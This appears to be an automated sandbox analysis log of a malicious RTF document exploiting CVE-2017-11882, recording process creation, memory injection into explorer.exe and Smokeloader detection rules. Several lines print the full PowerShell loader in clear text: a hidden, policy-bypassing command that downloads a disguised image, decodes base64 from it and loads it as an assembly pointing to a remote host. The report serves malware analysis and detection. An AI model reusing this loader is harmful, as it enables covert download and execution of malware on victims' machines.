Source: C:\Windows\SysWOW64\explorer.exe	Code function: 24_2_000C1819 lstrcmpi,OpenProcess,NtSetInformationProcess,CloseHandle,NtUnmapViewOfSection,NtUnmapViewOfSection,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,CloseHandle,CreateMutexA,GetLastError,CloseHandle,Sleep,GetModuleHandleA,GetProcAddress,ReadProcessMemory,WriteProcessMemory,CreateRemoteThread,CloseHandle,Sleep,WriteProcessMemory,CreateRemoteThread,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,	24_2_000C1819
Source: C:\Windows\explorer.exe	Code function: 25_2_0006355C RtlAllocateHeap,NtUnmapViewOfSection,	25_2_0006355C
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 26_2_00081016 RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,GetCurrentProcessId,wsprintfA,RtlMoveMemory,CreateToolhelp32Snapshot,Process32First,CharLowerA,lstrcmpi,lstrcmpi,Process32Next,CloseHandle,Sleep,	26_2_00081016
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 26_2_00081B26 NtCreateSection,NtMapViewOfSection,	26_2_00081B26
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 26_2_000818BF OpenProcess,NtSetInformationProcess,CloseHandle,NtUnmapViewOfSection,NtUnmapViewOfSection,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,CloseHandle,CreateMutexA,GetLastError,CloseHandle,Sleep,GetModuleHandleA,GetProcAddress,ReadProcessMemory,WriteProcessMemory,CreateRemoteThread,CloseHandle,Sleep,WriteProcessMemory,CreateRemoteThread,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,	26_2_000818BF
Source: C:\Windows\explorer.exe	Code function: 27_2_0006370C RtlAllocateHeap,NtUnmapViewOfSection,	27_2_0006370C

Source: C:\Windows\explorer.exe

File deleted: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00554D58	7_2_00554D58
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00554D48	7_2_00554D48
Source: C:\Windows\explorer.exe	Code function: 12_2_02802840	12_2_02802840
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 19_2_000C2198	19_2_000C2198
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 19_2_000CC2F9	19_2_000CC2F9
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 19_2_000DB35C	19_2_000DB35C
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 19_2_00114438	19_2_00114438
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 19_2_000DB97E	19_2_000DB97E
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 19_2_000C6E6A	19_2_000C6E6A
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 19_2_000E5F08	19_2_000E5F08
Source: C:\Windows\explorer.exe	Code function: 20_2_00061E20	20_2_00061E20
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 21_2_0008170B	21_2_0008170B
Source: C:\Windows\explorer.exe	Code function: 23_2_00062C00	23_2_00062C00
Source: C:\Windows\explorer.exe	Code function: 25_2_00062054	25_2_00062054
Source: C:\Windows\explorer.exe	Code function: 25_2_00062860	25_2_00062860
Source: C:\Windows\explorer.exe	Code function: 27_2_00062A04	27_2_00062A04
Source: C:\Windows\explorer.exe	Code function: 27_2_000620F4	27_2_000620F4

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Roaming\gwseuha D2F0B87E2D2707685C4D35F8F05B42FB8326EF4E70D16097B8837DABA06AC961

Source: C:\Windows\SysWOW64\explorer.exe	Code function: String function: 000C8801 appears 40 times
Source: C:\Windows\SysWOW64\explorer.exe	Code function: String function: 000C7F70 appears 32 times

Source: SecuriteInfo.com.Exploit.CVE-2017-11882.123.12869.5405.rtf, type: SAMPLE	Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: 0000000C.00000002.629839810.0000000002801000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000A.00000002.376080124.00000000000C1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000A.00000002.376068215.00000000000A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 3516, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 3628, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.bank.troj.spyw.expl.evad.winRTF@36/20@10/3

Source: C:\Windows\explorer.exe

Code function: 12_2_02803BF4 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,SleepEx,

12_2_02803BF4

Source: C:\Windows\explorer.exe

Code function: 12_2_028035E8 CoCreateInstance,

12_2_028035E8

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$curiteInfo.com.Exploit.CVE-2017-11882.123.12869.5405.rtf

Jump to behavior

Source: C:\Users\user\AppData\Roaming\gwseuha

Mutant created: NULL

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR69E9.tmp

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\verynicebuttersmoothcakeicream.vBs"

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................T.r.u.e.(.P..............................*.........................s............................0...............			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ....................................u.e.(.P..............................*.........................s............................X...............			Jump to behavior

Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe	Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: SecuriteInfo.com.Exploit.CVE-2017-11882.123.12869.5405.rtf	Virustotal: Detection: 50%
Source: SecuriteInfo.com.Exploit.CVE-2017-11882.123.12869.5405.rtf	ReversingLabs: Detection: 50%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\verynicebuttersmoothcakeicream.vBs"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?Dg? ? ? ? ?M? ? ? ? ?? ? ? ? ?z? ? ? ? ?DE? ? ? ? ?M? ? ? ? ?? ? ? ? ?0? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?Mg? ? ? ? ?3? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ? ? ? ?bQBz? ? ? ? ?C8? ? ? ? ?dgBi? ? ? ? ?HM? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?y? ? ? ? ?DY? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?y? ? ? ? ?DY? ? ? ? ?LwB2? ? ? ? ?GI? ? ? ? ?cw? ? ? ? ?u? ? ? ? ?Go? ? ? ? ?c? ? ? ? ?Bn? ? ? ? ?Cc? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?Hc? ? ? ? ?ZQBi? ? ? ? ?EM? ? ? ? ?b? ? ? ? ?Bp? ? ? ? ?GU? ? ? ? ?bgB0? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?E4? ? ? ? ?ZQB3? ? ? ? ?C0? ? ? ? ?TwBi? ? ? ? ?Go? ? ? ? ?ZQBj? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?BT? ? ? ? ?Hk? ? ? ? ?cwB0? ? ? ? ?GU? ? ? ? ?bQ? ? ? ? ?u? ? ? ? ?E4? ? ? ? ?ZQB0? ? ? ? ?C4? ? ? ? ?VwBl? ? ? ? ?GI? ? ? ? ?QwBs? ? ? ? ?Gk? ? ? ? ?ZQBu? ? ? ? ?HQ? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBC? ? ? ? ?Hk? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?J? ? ? ? ?B3? ? ? ? ?GU? ? ? ? ?YgBD? ? ? ? ?Gw? ? ? ? ?aQBl? ? ? ? ?G4? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?EQ? ? ? ? ?bwB3? ? ? ? ?G4? ? ? ? ?b? ? ? ? ?Bv? ? ? ? ?GE? ? ? ? ?Z? ? ? ? ?BE? ? ? ? ?GE? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?Cg? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?aQBt? ? ? ? ?GE? ? ? ? ?ZwBl? ? ? ? ?FQ? ? ? ? ?ZQB4? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?WwBT? ? ? ? ?Hk? ? ? ? ?cwB0? ? ? ? ?GU? ? ? ? ?bQ? ? ? ? ?u? ? ? ? ?FQ? ? ? ? ?ZQB4? ? ? ? ?HQ? ? ? ? ?LgBF? ? ? ? ?G4? ? ? ? ?YwBv? ? ? ? ?GQ? ? ? ? ?aQBu? ? ? ? ?Gc? ? ? ? ?XQ? ? ? ? ?6? ? ? ? ?Do? ? ? ? ?VQBU? ? ? ? ?EY? ? ? ? ?O? ? ? ? ?? ? ? ? ?u? ? ? ? ?Ec? ? ? ? ?ZQB0? ? ? ? ?FM? ? ? ? ?d? ? ? ? ?By? ? ? ? ?Gk? ? ? ? ?bgBn? ? ? ? ?Cg? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?QgB5? ? ? ? ?HQ? ? ? ? ?ZQBz? ? ? ? ?Ck? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?HM? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?HI? ? ? ? ?d? ? ? ? ?BG? ? ? ? ?Gw? ? ? ? ?YQBn? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?P? ? ? ? ?? ? ? ? ?8? ? ? ? ?EI? ? ? ? ?QQBT? ? ? ? ?EU? ? ? ? ?Ng? ? ? ? ?0? ? ? ? ?F8? ? ? ? ?UwBU? ? ? ? ?EE? ? ? ? ?UgBU? ? ? ? ?D4? ? ? ? ?Pg? ? ? ? ?n? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bl? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?BG? ? ? ? ?Gw? ? ? ? ?YQBn? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?P? ? ? ? ?? ? ? ? ?8? ? ? ? ?E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia803104.us.archive.org/27/items/vbs_20240726_20240726/vbs.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.VFEW/09/61.841.49.32//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm',''))"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: unknown	Process created: C:\Windows\System32\taskeng.exe taskeng.exe {B5E7D6C9-0A45-4095-9C68-D1725C8390DE} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1]
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Users\user\AppData\Roaming\gwseuha C:\Users\user\AppData\Roaming\gwseuha
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\verynicebuttersmoothcakeicream.vBs"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?Dg? ? ? ? ?M? ? ? ? ?? ? ? ? ?z? ? ? ? ?DE? ? ? ? ?M? ? ? ? ?? ? ? ? ?0? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?Mg? ? ? ? ?3? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ? ? ? ?bQBz? ? ? ? ?C8? ? ? ? ?dgBi? ? ? ? ?HM? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?y? ? ? ? ?DY? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?y? ? ? ? ?DY? ? ? ? ?LwB2? ? ? ? ?GI? ? ? ? ?cw? ? ? ? ?u? ? ? ? ?Go? ? ? ? ?c? ? ? ? ?Bn? ? ? ? ?Cc? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?Hc? ? ? ? ?ZQBi? ? ? ? ?EM? ? ? ? ?b? ? ? ? ?Bp? ? ? ? ?GU? ? ? ? ?bgB0? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?E4? ? ? ? ?ZQB3? ? ? ? ?C0? ? ? ? ?TwBi? ? ? ? ?Go? ? ? ? ?ZQBj? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?BT? ? ? ? ?Hk? ? ? ? ?cwB0? ? ? ? ?GU? ? ? ? ?bQ? ? ? ? ?u? ? ? ? ?E4? ? ? ? ?ZQB0? ? ? ? ?C4? ? ? ? ?VwBl? ? ? ? ?GI? ? ? ? ?QwBs? ? ? ? ?Gk? ? ? ? ?ZQBu? ? ? ? ?HQ? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBC? ? ? ? ?Hk? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?J? ? ? ? ?B3? ? ? ? ?GU? ? ? ? ?YgBD? ? ? ? ?Gw? ? ? ? ?aQBl? ? ? ? ?G4? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?EQ? ? ? ? ?bwB3? ? ? ? ?G4? ? ? ? ?b? ? ? ? ?Bv? ? ? ? ?GE? ? ? ? ?Z? ? ? ? ?BE? ? ? ? ?GE? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?Cg? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?aQBt? ? ? ? ?GE? ? ? ? ?ZwBl? ? ? ? ?FQ? ? ? ? ?ZQB4? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?WwBT? ? ? ? ?Hk? ? ? ? ?cwB0? ? ? ? ?GU? ? ? ? ?bQ? ? ? ? ?u? ? ? ? ?FQ? ? ? ? ?ZQB4? ? ? ? ?HQ? ? ? ? ?LgBF? ? ? ? ?G4? ? ? ? ?YwBv? ? ? ? ?GQ? ? ? ? ?aQBu? ? ? ? ?Gc? ? ? ? ?XQ? ? ? ? ?6? ? ? ? ?Do? ? ? ? ?VQBU? ? ? ? ?EY? ? ? ? ?O? ? ? ? ?? ? ? ? ?u? ? ? ? ?Ec? ? ? ? ?ZQB0? ? ? ? ?FM? ? ? ? ?d? ? ? ? ?By? ? ? ? ?Gk? ? ? ? ?bgBn? ? ? ? ?Cg? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?QgB5? ? ? ? ?HQ? ? ? ? ?ZQBz? ? ? ? ?Ck? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?HM? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?HI? ? ? ? ?d? ? ? ? ?BG? ? ? ? ?Gw? ? ? ? ?YQBn? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?P? ? ? ? ?? ? ? ? ?8? ? ? ? ?EI? ? ? ? ?QQBT? ? ? ? ?EU? ? ? ? ?Ng? ? ? ? ?0? ? ? ? ?F8? ? ? ? ?UwBU? ? ? ? ?EE? ? ? ? ?UgBU? ? ? ? ?D4? ? ? ? ?Pg? ? ? ? ?n? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bl? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?BG? ? ? ? ?Gw? ? ? ? ?YQBn? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?P? ? ? ? ?? ? ? ? ?8? ? ? ? ?E	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia803104.us.archive.org/27/items/vbs_20240726_20240726/vbs.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.VFEW/09/61.841.49.32//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm',''))"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
